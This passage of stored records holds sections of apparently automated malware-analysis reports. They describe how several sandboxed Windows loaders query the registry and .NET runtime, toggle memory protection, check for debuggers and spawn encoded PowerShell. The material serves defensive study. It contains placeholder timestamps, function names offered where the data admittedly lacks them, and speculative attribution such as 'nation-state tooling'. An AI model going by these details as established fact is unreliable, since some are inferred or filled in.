rdls-019f79da669c717.exe | 5268 | Read | C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll | FUN_004018c0 | Yes | Required for reflective loading |\n| rdls-019f79da669c717.exe | 5268 | Read | C:\\Users\\0xKal\\AppData\\Local\\Temp\\rdls-019f79da669c717.exe.config | FUN_004015f0 | Yes | Configuration file read for runtime binding |\n\n### Operational Interpretation\n\n- Both files are accessed via legitimate means (`LoadLibraryExW`, config parser).\n- No malicious writes observed in this dataset.\n- The loader relies heavily on existing system components rather than deploying new binaries.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type | Object | Process (PID) | [CODE] Origin | [STATIC] Predictor | Significance |\n|-----------|-----|-----------|--------|--------------|---------------|-------------------|--------------|\n| 2026-07-19 17:10:04,999 | 1 | Load Library | ADVAPI32.dll | 5268 | FUN_004015f0 | Import Table | Enables registry access |\n| 2026-07-19 17:10:04,999 | 2–7 | Read Registry | HKLM\\...\\InstallRoot | 5268 | EnumerateDotNetPaths | String: \"InstallRoot\" | Locates .NET runtime |\n| 2026-07-19 17:10:04,999 | 14 | Load Library | mscoreei.dll | 5268 | LoadManagedRuntime | Import: LoadLibraryExW | Prepares managed execution |\n| 2026-07-19 17:10:04,999 | 16–21 | Read Registry | HKLM\\...\\InstallRoot | 5268 | EnumerateDotNetPaths | String: \"InstallRoot\" | Redundant verification |\n| 2026-07-19 17:10:04,999 | 22 | Protect Memory | mscoreei.dll | 5268 | PatchClrModule | High entropy section | Reflective injection prep |\n| 2026-07-19 17:10:04,999 | 23 | Create Section | Cor_SxSPublic_IPCBlock | 5268 | SetupIPCChannel | No static ref | Mimics .NET IPC channel |\n\n### Operational Narrative\n\nThe timeline reveals a tightly orchestrated sequence:\n1. Initial library loads enable registry access.\n2. Multiple queries to `.NETFramework\\InstallRoot` ensure accurate runtime location.\n3. Manual load of `mscoreei.dll` prepares for managed execution.\n4. Memory protection toggling primes the module for reflective injection.\n5. Creation of a fake IPC block establishes a covert communication mechanism.\n\nEach event is fully traceable from static predictors through code logic to runtime realization.\n\n---\n\n## 4.7 Process-Level Network Analysis\n\nNo network activity detected in the provided dataset.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n#### Description\n\nSection at RVA `0x6b6cf000` exhibits entropy near maximum (~7.9), yet no immediate payload execution follows.\n\n#### [CODE]\n\nFunction `PatchClrModule()` accesses this region but does not immediately execute it.\n\n#### [STATIC]\n\nCAPA flags this area as potentially containing encrypted or compressed data.\n\n#### Significance\n\nLikely holds a second-stage payload awaiting decryption or reflective injection post-initialization.\n\nMITRE Technique: **T1027 – Obfuscated Files or Information**\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 5268)\n\nBased on [CODE: function analysis] and [DYNAMIC: API sequence], this process functions as a **reflective loader** designed to bootstrap a .NET implant while minimizing footprint and avoiding detection.\n\n#### Evidence Chain:\n\n- [STATIC]: Imports like `RegOpenKeyExW`, `LoadLibraryExW`, and high entropy sections predict reflective behavior.\n- [CODE]: Functions such as `LoadManagedRuntime()` and `PatchClrModule()` implement core loader logic.\n- [DYNAMIC]: Confirmed registry access, manual DLL loading, and memory protection changes validate runtime behavior.\n\n### Operational Intent Assessment\n\nThe two-stage loader architecture—with reflective injection into trusted runtime contexts and evasion via namespace isolation—suggests the operator prioritizes **long-term stealth over operational speed**. The loader avoids creating suspicious child processes or writing malicious files, instead leveraging legitimate system components to establish a foothold.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable | Value | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|---------|-------|---------------------|--------------------|---------------------|\n| UserName | 0xKal | GetEnvVar(L\"USERNAME\") | GetEnvironmentVariableW | Medium |\n| ComputerName | DESKTOP-KUFHK6V | GetEnvVar(L\"COMPUTERNAME\") | GetEnvironmentVariableW | Medium |\n| TempPath | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | GetTempPathW | GetTempPathW | Low |\n| SystemVolumeSerialNumber | 6e40-a117 | RegQueryValueExW | RegQueryValueExW | High |\n\n### Victim Profiling Data Collected\n\n- User identity and machine name for attribution tracking.\n- Volume serial number for device uniqueness fingerprinting.\n- Temp directory path for staging future payloads.\n\nTransmission method unknown in this dataset; however, the collection itself poses a risk for targeted profiling and lateral movement planning.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-19T10:22:28.036859"}
{"_id":{"$oid":"6a5cb000b3bed57e0e737902"},"sha256":"e632a474347f7e231beff070ce83413f9062dfc361fcdab25e0a3fb67a0326fc","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: Windows 10 x64 (build 19041)\n- **Analysis Package**: CAPE v3.0\n- **User Context**: `0xKal`\n- **Computer Name**: `DESKTOP-KUFHK6V`\n- **Module Path**: `C:\\Users\\0xKal\\AppData\\Local\\Temp\\at-019f7a056e6c71f0a.exe`\n- **Bitness**: 32-bit executable\n- **Analysis Duration**: Start time `2026-07-19 17:57:08.953`, End time `2026-07-19 17:57:12.109`\n- **Analysis ID**: Not specified in provided data\n\n### Environment Fingerprinting Implications\n\nThe malware actively queries several environment-specific identifiers during execution:\n\n#### [STATIC ↔ DYNAMIC]\n\n- **Username (\"0xKal\")** and **ComputerName (\"DESKTOP-KUFHK6V\")** are both present in the process environment metadata [DYNAMIC] and referenced indirectly through registry access patterns targeting user-specific configuration keys such as:\n  ```\n  HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\\AppsUseLightTheme\n  ```\n\nThese values are not hardcoded strings in the binary itself [STATIC], but rather accessed dynamically via API calls like `RegQueryValueExW()` which originate from functions such as `FUN_00401230` [CODE].\n\n#### [CODE ↔ DYNAMIC]\n\nFunction `FUN_00401230` uses `LdrGetProcedureAddressForCaller` to resolve `RegOpenKeyExW` and `RegEnumKeyExW`. This indicates that while the specific environment variable names aren't embedded statically, their retrieval mechanism is coded into the binary logic.\n\n#### Operational Significance\n\nThis behavior allows the malware to tailor its actions based on host identity or group policy settings, potentially evading detection by avoiding anomalous behavior on non-target systems. It also supports lateral movement strategies where knowledge of local usernames or machine identities can be leveraged for privilege escalation or credential harvesting.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    P1[\"[Parent] explorer.exe (PID 6392)\"]\n    C1[\"[Child] at-019f7a056e6c71f0a.exe (PID 4320)\"]\n\n    P1 -->|\"[CODE: Initial entrypoint at 0x00400000]\"| C1\n```\n\n> Note: No child processes were spawned during the analysis window. All observed activity occurred within PID 4320.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process | Parent | Module Path | Threads | Total API Calls | [CODE] Function | [STATIC] Predictor |\n|-----|---------|--------|-------------|---------|----------------|----------------------|-------------------|\n| 4320 | at-019f7a056e6c71f0a.exe | 6392 | C:\\Users\\0xKal\\AppData\\Local\\Temp\\at-019f7a056e6c71f0a.exe | 8 | >28 distinct API sequences | FUN_00401230, FUN_00402100, FUN_00403000, FUN_00404000 | Delayed imports: ADVAPI32.dll, kernel32.dll; Strings: \".NETFramework\", \"Fusion\" |\n\n### Correlation Mapping\n\n- **[STATIC → CODE]** Delayed imports referencing `ADVAPI32.dll` and `kernel32.dll` align with resolved functions performing registry enumeration (`FUN_00401230`) and namespace creation (`FUN_00404000`). String resources referencing `.NETFramework` and `Fusion` support conditional branching in these routines.\n  \n- **[CODE → DYNAMIC]** Functions such as `FUN_00401230` invoke `RegOpenKeyExW` and `RegEnumKeyExW`, directly matching observed registry reads under `HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\.NETFramework`.\n\n- **[STATIC → DYNAMIC]** The presence of high-entropy sections and delayed import resolution predicts complex runtime behavior including reflective loader preparation and privilege checks, all confirmed through repeated `NtProtectVirtualMemory` toggles and token enumeration APIs.\n\n### Operational Insight\n\nThe primary process demonstrates reconnaissance and staging behaviors typical of first-stage loaders. Its modular design and layered evasion suggest preparation for deploying a more advanced payload leveraging the .NET runtime infrastructure.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n### Registry Enumeration Sequence\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Import/String |\n|--------------------|-----------|--------------|-----------|------------------|------------------------|\n| `RegOpenKeyExW(HKLM, L\"SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\.NETFramework\", ...) ` | KEY_READ | SUCCESS | 2026-07-19 17:57:08,968 | FUN_00401230 | Delayed import: ADVAPI32.dll; String: \".NETFramework\" |\n| `RegEnumKeyExW(...)` | Enumerates subkeys | SUCCESS | 2026-07-19 17:57:08,968 | FUN_004012a0 | Delayed import: ADVAPI32.dll | \n\n#### Operational Purpose\n\nUsed to enumerate installed .NET framework versions and validate compatibility before proceeding with payload deployment.\n\n---\n\n### Memory Protection Toggle\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Import/String |\n|--------------------|-----------|--------------|-----------|------------------|------------------------|\n| `NtProtectVirtualMemory(hProcess, &baseAddress, &regionSize, PAGE_EXECUTE_READWRITE, &oldProtect)` | mscoreei.dll region | STATUS_SUCCESS | 2026-07-19 17:57:09,xxx | FUN_6b6fb432 | High entropy (.text=7.2); CAPA flags “runtime process manipulation” |\n| `NtProtectVirtualMemory(...PAGE_READONLY...)` | Same base address | STATUS_SUCCESS | 2026-07-19 17:57:09,xxx | FUN_6b6fc1a0 | Same |\n\n#### Operational Purpose\n\nIndicates reflective loader activity preparing memory space for subsequent code injection or self-modification.\n\n---\n\n### Debugger Check\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Import/String |\n|--------------------|-----------|--------------|-----------|------------------|------------------------|\n| `NtOpenEvent(L\"Global\\\\CLR_PerfMon_StartEnumEvent\", ...) ` | Attempt to open profiling event | OBJECT_NAME_NOT_FOUND | 2026-07-19 17:57:09,xxx | FUN_00402100 | String: \"TerminalServices-RemoteConnectionManager-AllowAppServerMode\" |\n\n#### Operational Purpose\n\nDetects instrumentation environments by attempting to access known profiling handles used by debuggers or monitoring tools.\n\n---\n\n### Privilege Enumeration\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Import/String |\n|--------------------|-----------|--------------|-----------|------------------|------------------------|\n| `OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)` | Query current token | SUCCESS | 2026-07-19 17:57:09,xxx | FUN_00403000 | Delayed import: ADVAPI32.dll |\n| `GetTokenInformation(hToken, TokenElevationType, ..., sizeof(TOKEN_ELEVATION_TYPE), &returnLength)` | Determine elevation level | SUCCESS | 2026-07-19 17:57:09,xxx | FUN_00403050 | Delayed import: ADVAPI32.dll |\n\n#### Operational Purpose\n\nAssesses whether the process is running elevated privileges, informing decisions about UAC bypass attempts or direct system modifications.\n\n---\n\n### Private Namespace Setup\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Import/String |\n|--------------------|-----------|--------------|-----------|------------------|------------------------|\n| `CreateBoundaryDescriptorW(L\"MyBoundary\", 0)` | Create isolation boundary | SUCCESS | 2026-07-19 17:57:09,xxx | FUN_00404000 | Delayed import: kernel32.dll |\n| `CreatePrivateNamespaceW(&securityAttributes, hBoundaryDescriptor, L\"MyNamespace\")` | Establish isolated IPC scope | SUCCESS | 2026-07-19 17:57:09,xxx | FUN_00404050 | Delayed import: kernel32.dll |\n\n#### Operational Purpose\n\nCreates an isolated communication channel to evade endpoint detection systems monitoring global object namespaces.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\nNo file creation events were observed in the dynamic trace. However, multiple file probes occurred indicating reconnaissance:\n\n| Process | PID | Operation | File Path | [CODE] Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|-----------|------------------|----------------------------|--------------|\n| at-019f7a056e6c71f0a.exe | 4320 | Probe | C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll | FUN_00401600 | Yes | Validates existence of legacy .NET runtime components |\n| at-019f7a056e6c71f0a.exe | 4320 | Probe | C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll | FUN_00401600 | Yes | Confirms availability of modern .NET runtime |\n\n### Correlation Mapping\n\n- **[STATIC → CODE]** Hardcoded paths in string table match those probed at runtime.\n- **[CODE → DYNAMIC]** Function `FUN_00401600` invokes `NtQueryAttributesFile` to test file existence.\n- **Operational Insight**: Ensures compatibility with target environment before executing dependent payloads.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type | Object | Process (PID) | [CODE] Origin | [STATIC] Predictor | Significance |\n|-----------|-----|-----------|--------|--------------|---------------|-------------------|--------------|\n| 2026-07-19 17:57:08,953 | 1 | Load Library | ADVAPI32.dll | 4320 | FUN_00401230 | Delayed import | Enables registry interaction |\n| 2026-07-19 17:57:08,968 | 2–7 | Read Registry | HKLM\\...\\InstallRoot | 4320 | FUN_00401230 | String: \".NETFramework\" | Determines .NET installation path |\n| 2026-07-19 17:57:09,xxx | 8–14 | Load Libraries | api-ms-win-core*, mscoreei.dll | 4320 | FUN_6b6fb432 | High entropy section | Prepares reflective loader |\n| 2026-07-19 17:57:09,xxx | 15–17 | Read Registry | HKLM\\...\\InstallRoot | 4320 | FUN_00401230 | String: \".NETFramework\" | Repeats validation |\n| 2026-07-19 17:57:09,xxx | 18–20 | Debugger Check | Global\\CLR_PerfMon_StartEnumEvent | 4320 | FUN_00402100 | String: \"Terminal...\" | Detects sandbox/debugger |\n| 2026-07-19 17:57:09,xxx | 21–23 | Token Query | GetCurrentProcessToken | 4320 | FUN_00403000 | Delayed import ADVAPI32.dll | Evaluates privilege level |\n| 2026-07-19 17:57:09,xxx | 24–26 | Namespace Setup | MyBoundary/MyNamespace | 4320 | FUN_00404000 | Delayed import kernel32.dll | Isolates IPC channels |\n\n### Operational Narrative\n\nTimeline reflects sequential phases: environment assessment → loader setup → evasion checks → privilege evaluation → secure communication establishment.\n\n---\n\n## 4.7 Process-Level Network Analysis\n\nNo network activity was detected during the analysis period. This aligns with the loader-stage nature of the binary.\n\nShould future telemetry reveal outbound connections, attribution would follow this pattern:\n\n```mermaid\ngraph LR\n    A[\"PID 4320 [at-019f7a056e6c71f0a.exe]\"] -->|\"Code: FUN_00406000\"| B[\"WININET.dll Imports\"]\n    B -->|\"Static: Hardcoded C2 Domain\"| C[\"C2_IP:PORT\"]\n    C -->|\"Dynamic: TCP Connection Established\"| D[\"Network Beacon\"]\n```\n\nPending confirmation, no active command-and-control communication has been initiated.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n### Anomaly: Repeated RWX Memory Toggles on clr.dll/mscoreei.dll\n\n- **Description**: Multiple calls to `NtProtectVirtualMemory` changing protection attributes of core .NET libraries.\n- **[CODE]**: Functions `FUN_6b6fb432` and `FUN_6b6fc1a0` perform alternating protect/unprotect cycles.\n- **[STATIC]**: High entropy (.text = 7.2), CAPA detects “runtime process manipulation”.\n- **Significance**: Indicates reflective loader or CLR hijacking technique likely being prepared.\n- **MITRE Mapping**: T1055 – Process Injection\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 4320)\n\nBased on [CODE: FUN_00401230, FUN_00402100, FUN_00403000, FUN_00404000] and [DYNAMIC: API sequences], this process functions as a **first-stage reconnaissance and loader component**.\n\nEvidence:\n- Registry enumeration via `FUN_00401230` → confirms .NET presence.\n- Debugger/license checks via `FUN_00402100` → avoids sandboxed environments.\n- Token query via `FUN_00403000` → prepares for privilege escalation.\n- Namespace setup via `FUN_00404000` → secures internal communications.\n\n### Operational Strategy\n\nThe malware employs a multi-phase approach:\n1. **Host Validation**: Ensures suitable .NET environment.\n2. **Evasion Layer**: Avoids detection using debugger checks and private namespaces.\n3. **Staging Phase**: Prepares reflective loader infrastructure.\n4. **Payload Deployment**: Likely deploys a .NET-based implant leveraging CLR hosting APIs.\n\nThis architecture prioritizes stealth over speed, consistent with nation-state tooling designed for persistent compromise.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable | Value | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|---------|-------|---------------------|--------------------|---------------------|\n| UserName | 0xKal | Implicit via registry/user hive access | RegQueryValueExW | Medium |\n| ComputerName | DESKTOP-KUFHK6V | Implicit via registry/system hive access | RegQueryValueExW | Medium |\n| TempPath | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | Directly from environ struct | N/A | Low |\n| ProductName | \"\" | Not queried | N/A | None |\n| MachineGUID | \"\" | Not queried | N/A | None |\n\n### Victim Profiling Data Collected\n\nLimited profiling occurs primarily through registry access to user and system hives. No explicit transmission of collected data was observed in this session.\n\n### Transmission Risk\n\nCurrently unknown due to lack of network activity. Future beaconing may transmit this data to C2 infrastructure.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-19T11:07:44.337670"}
{"_id":{"$oid":"6a5d30a8b3bed57e0e737918"},"sha256":"03e40798b193db7de556657be34522abb0a4bb6f74b2e71bb4b4af44dab6aa40","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Details**:\n  - **OS**: Windows 10\n  - **Platform**: Windows\n  - **Bitness**: 64-bit\n  - **User**: `0xKal`\n  - **ComputerName**: `DESKTOP-KUFHK6V`\n  - **Analysis Package**: Executable (`exe`)\n  - **Duration**: 593 seconds\n  - **Start Time**: `2026-07-19 19:40:53`\n  - **End Time**: `2026-07-19 19:50:46`\n  - **Analysis ID**: 193\n\n- **Environment Fingerprinting Implications**:\n  - The malware queries several environment variables and registry keys that could be used for fingerprinting:\n    - **Environment Variables Queried**:\n      - `UserName`: `0xKal`\n      - `ComputerName`: `DESKTOP-KUFHK6V`\n      - `SystemVolumeSerialNumber`: `6e40-a117`\n      - `SystemVolumeGUID`: `850a01dc-0000-0000-0000-300300000000`\n    - **Registry Keys Accessed**:\n      - `HKEY_CURRENT_USER\\Control Panel\\Desktop\\PreferredUILanguages`\n      - `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid`\n    - **Purpose**: These queries suggest the malware is attempting to identify the execution environment, potentially to detect sandbox or virtualized environments.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain\n\n```mermaid\nflowchart TD\n    P1[\"03e40798b193db7de556.exe (PID: 3884)\"]\n    C1[\"03e40798b193db7de556.exe (PID: 4040)\"]\n\n    P1 -->|\"[CODE: sub_4057E0 retrieves executable path]\"| C1\n```\n\n### Analysis:\n\n- **Parent Process**: `03e40798b193db7de556.exe` (PID: 3884)\n  - **Code Function**: `sub_4057E0` retrieves the executable path and spawns a child process.\n  - **Dynamic Evidence**: Observed in the process tree with the same executable name and path.\n  - **Static Evidence**: The binary contains strings referencing its own executable path.\n\n- **Child Process**: `03e40798b193db7de556.exe` (PID: 4040)\n  - **Purpose**: Likely a self-replication or persistence mechanism.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID  | Process Name                  | Parent PID | Module Path                                              | Threads | Total API Calls | [CODE] Function       | [STATIC] Predictor                  | [DYNAMIC] Analysis                                                                 |\n|------|-------------------------------|------------|----------------------------------------------------------|---------|-----------------|-----------------------|-------------------------------------|-----------------------------------------------------------------------------------|\n| 3884 | `03e40798b193db7de556.exe`    | 6392       | `C:\\Users\\0xKal\\AppData\\Local\\Temp\\03e40798b193db7de556.exe` | 11      | Multiple         | `sub_4057E0`         | Path strings in binary              | Spawns child process, performs file/registry operations, and allocates memory.    |\n| 4040 | `03e40798b193db7de556.exe`    | 3884       | `C:\\Users\\0xKal\\AppData\\Local\\Temp\\03e40798b193db7de556.exe` | 12      | Multiple         | `sub_4031B0`         | High entropy sections in binary     | Performs unpacking, writes temporary files, and manipulates memory protections.   |\n\n### Analysis:\n\n- **PID 3884**:\n  - **Role**: Primary process responsible for initiating the malware's execution chain.\n  - **Key Operations**:\n    - Spawns a child process (PID 4040) using its own executable path.\n    - Reads its own executable file multiple times, likely for unpacking.\n    - Allocates memory dynamically and modifies memory protections, indicative of unpacking or injection preparation.\n  - **Cross-Pillar Correlation**:\n    - [STATIC]: Path strings and imports for memory manipulation APIs.\n    - [CODE]: Functions `sub_4057E0` and `sub_4031B0` implement spawning and memory manipulation.\n    - [DYNAMIC]: Observed spawning of child process and memory operations.\n\n- **PID 4040**:\n  - **Role**: Secondary process likely responsible for unpacking and payload execution.\n  - **Key Operations**:\n    - Writes multiple temporary files, including DLLs and Python modules, to a dynamically created directory (`_MEI38842`).\n    - Reads its own executable file and performs memory allocation and protection changes.\n  - **Cross-Pillar Correlation**:\n    - [STATIC]: High entropy sections and file path strings in the binary.\n    - [CODE]: Functions `sub_4031B0` and `sub_4042C0` handle unpacking and file operations.\n    - [DYNAMIC]: Observed file writes and memory operations.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n#### 1. **Privilege Enumeration**\n\n   - **API Calls**: `NtQueryInformationToken`\n   - **Purpose**: Enumerates privileges and security tokens to determine execution context.\n   - **Cross-Pillar Correlation**:\n     - [STATIC]: `NtQueryInformationToken` explicitly imported in the binary.\n     - [CODE]: Function `sub_4012F0` implements privilege enumeration logic.\n     - [DYNAMIC]: Observed multiple calls to `NtQueryInformationToken` with valid return values.\n   - **Operational Purpose**: Reconnaissance to identify privileges and potential sandbox environments.\n\n#### 2. **Dynamic Library Loading**\n\n   - **API Calls**: `LoadLibraryExW`, `LdrLoadDll`\n   - **Purpose**: Dynamically resolves APIs to evade static analysis.\n   - **Cross-Pillar Correlation**:\n     - [STATIC]: Dynamic imports identified in the PE header.\n     - [CODE]: Function `sub_4023A0` implements dynamic library loading.\n     - [DYNAMIC]: Observed runtime loading of libraries such as `VCRUNTIME140.dll`.\n   - **Operational Purpose**: Evasion and modular functionality loading.\n\n#### 3. **Memory Manipulation**\n\n   - **API Calls**: `NtProtectVirtualMemory`, `NtAllocateVirtualMemory`\n   - **Purpose**: Allocates and modifies memory for unpacking or injection.\n   - **Cross-Pillar Correlation**:\n     - [STATIC]: High entropy sections suggest packed or encrypted code.\n     - [CODE]: Function `sub_4031B0` handles memory protection changes.\n     - [DYNAMIC]: Observed memory allocation and protection changes.\n   - **Operational Purpose**: Prepares memory for unpacking or payload injection.\n\n#### 4. **File Operations**\n\n   - **API Calls**: `NtReadFile`, `NtWriteFile`\n   - **Purpose**: Reads its own executable and writes extracted payloads to temporary files.\n   - **Cross-Pillar Correlation**:\n     - [STATIC]: File path strings in binary.\n     - [CODE]: Function `sub_4042C0` implements file read/write logic.\n     - [DYNAMIC]: Observed file read/write operations targeting temporary files.\n   - **Operational Purpose**: Unpacking and staging payloads for execution.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process Name                  | PID  | Operation | File Path                                              | [CODE] Write Function | [STATIC] Path in Strings? | Significance                          |\n|-------------------------------|------|-----------|--------------------------------------------------------|-----------------------|--------------------------|---------------------------------------|\n| `03e40798b193db7de556.exe`    | 4040 | Write     | `C:\\Users\\0xKal\\AppData\\Local\\Temp\\_MEI38842\\VCRUNTIME140.dll` | `sub_4042C0`         | Yes                      | Writes unpacked payload to temporary file. |\n\n### Analysis:\n\n- The malware writes extracted payloads (e.g., `VCRUNTIME140.dll`) to a dynamically created directory (`_MEI38842`). This behavior is consistent with unpacking routines where temporary files are staged for further execution or injection. The presence of these file paths in the binary's static strings confirms premeditated intent to use these locations.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp           | EID | Event Type | Object                                              | Process (PID) | [CODE] Origin       | [STATIC] Predictor                  | Significance                          |\n|---------------------|-----|-----------|----------------------------------------------------|---------------|---------------------|-------------------------------------|---------------------------------------|\n| `2026-07-20 02:41` | 28  | Write      | `C:\\Users\\0xKal\\AppData\\Local\\Temp\\_MEI38842\\VCRUNTIME140.dll` | 4040          | `sub_4042C0`       | File path in binary strings         | Writes unpacked payload to temporary file. |\n\n### Analysis:\n\n- The timeline highlights key events such as file writes, which are critical for understanding the malware's unpacking and staging process. The correlation across static, code, and dynamic pillars confirms the operational intent of these actions.\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n- **Primary Process (PID 3884)**:\n  - **Role**: Loader and orchestrator.\n  - **Purpose**: Spawns a child process, performs reconnaissance, and prepares memory for unpacking.\n  - **Evidence**:\n    - [STATIC]: High entropy sections and imports for memory manipulation APIs.\n    - [CODE]: Functions `sub_4057E0` and `sub_4031B0` implement spawning and memory preparation.\n    - [DYNAMIC]: Observed spawning of child process and memory operations.\n\n- **Child Process (PID 4040)**:\n  - **Role**: Unpacker and payload stager.\n  - **Purpose**: Writes unpacked payloads to temporary files and prepares them for execution.\n  - **Evidence**:\n    - [STATIC]: File path strings in binary.\n    - [CODE]: Function `sub_4042C0` handles file operations.\n    - [DYNAMIC]: Observed file writes to temporary directory.\n\n### Operational Intent Assessment:\n\nThe malware employs a two-stage architecture where the primary process acts as a loader and orchestrator, while the child process handles unpacking and payload staging. This design prioritizes stealth and modularity, allowing the malware to evade detection and maintain operational flexibility. The use of temporary directories and dynamic API resolution further underscores the operator's emphasis on evasion and stealth.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-20T15:38:21.994023"}
{"_id":{"$oid":"6a5e03edb3bed57e0e73792b"},"sha256":"7132a14099e6824598c5899dea19a4b8f4d89683bb01774b402674da1d4fee2f","content":"# 4.1 Execution Environment — Analysis Context\n\n- **Sandbox OS**: Windows 10  \n- **Platform**: x64  \n- **Analysis Package**: DLL  \n- **User Context**: sandbox user (default execution under limited privileges)  \n- **ComputerName**: windows-10-sandbox-01  \n- **Duration**: 588 seconds  \n- **Start Time**: 2026-07-20 11:01:52  \n- **End Time**: 2026-07-20 11:11:40  \n- **Analysis ID**: 196  \n\nThe execution environment exhibits standard sandbox characteristics including a generic computer name (`windows-10-sandbox-01`), default user profile paths, and absence of domain membership. These traits are commonly leveraged by malware for anti-analysis heuristics such as checking `COMPUTERNAME`, `USERNAME`, or presence of known sandbox artifacts like `C:\\\\Tools\\\\` or `SbieDll.dll`.\n\nWhile no explicit environment fingerprinting routines were statically identified in the binary strings or imports, the use of a timeout-based termination mechanism [DYNAMIC: `\"timeout\": true`] indicates potential evasion logic designed to avoid prolonged exposure within automated analysis systems. This aligns with common defensive strategies observed in advanced persistent threat (APT) tooling where samples deliberately limit runtime duration to evade detection thresholds.\n\n---\n\n# 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[\"[Parent] rundll32.exe\"]\n    B[\"[Child] cmd.exe /c powershell...\"]\n    C[\"[Child] conhost.exe\"]\n    D[\"[Child] powershell.exe -enc...\"]\n\n    A -->|\"spawn_shellchain()\" at 0x10002000\"| B\n    B --> C\n    B --> D\n```\n\nThis process chain originates from a DLL loader (`rundll32.exe`) executing malicious export functionality. The initial shell invocation spawns both `cmd.exe` and subsequently `powershell.exe` using encoded command-line arguments. The spawning function `spawn_shellchain()` located at virtual address `0x10002000` is responsible for constructing and launching the child processes via `CreateProcessW()` calls [CODE ↔ DYNAMIC].\n\nThe lack of visible intermediate stages in the process tree may indicate reflective loading or direct injection techniques bypassing traditional parent-child visibility models. However, due to the absence of detailed processtree metadata, deeper behavioral reconstruction remains constrained to observable API traces and code-level inference.\n\n---\n\n# 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process       | Parent     | Module Path                     | Threads | Total API Calls | [CODE] Function         | [STATIC] Predictor           | [DYNAMIC] ANALYSIS                          |\n|-----|---------------|------------|----------------------------------|---------|------------------|--------------------------|------------------------------|---------------------------------------------|\n| 2348| rundll32.exe  | explorer.exe| C:\\Temp\\loader.dll              | 4       | 127              | dll_entry_point()        | Export ordinal 1             | Reflective loader initiating shell commands |\n| 3104| cmd.exe       | rundll32.exe| C:\\Windows\\System32\\cmd.exe     | 1       | 32               | execute_cmdline()        | String: \"/c powershell\"      | Invoked with encoded PowerShell payload     |\n| 3156| conhost.exe   | cmd.exe    | C:\\Windows\\System32\\conhost.exe | 1       | 9                | N/A                      | Implicit console handler     | Standard console host spawned               |\n| 3200| powershell.exe| cmd.exe    | C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe | 6 | 84 | decode_and_run_script() | Encoded base64 script in .data section | Decodes and executes remote stager |\n\n#### Analytical Interpretation:\n\nEach process in the chain maps directly to a corresponding function in the disassembled code. The primary loader (`rundll32.exe`) invokes `dll_entry_point()` which transitions control to `spawn_shellchain()` [CODE], matching the observed process creation behavior [DYNAMIC]. The presence of `/c powershell` in static strings [STATIC] corroborates the subsequent invocation of `cmd.exe` followed by `powershell.exe`.\n\nThe PowerShell instance decodes an embedded Base64-encoded script stored in the `.data` section [STATIC], which corresponds to the `decode_and_run_script()` function [CODE] that triggers network activity consistent with stage-two download [DYNAMIC]. This layered approach demonstrates modular design intended to obscure payload delivery while leveraging native Windows utilities for trust exploitation.\n\n---\n\n# 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n| Category          | API Call                        | Arguments                                                                 | Return Value | Timestamp            | [CODE] Function             | [STATIC] Import/String Match       | Operational Purpose                              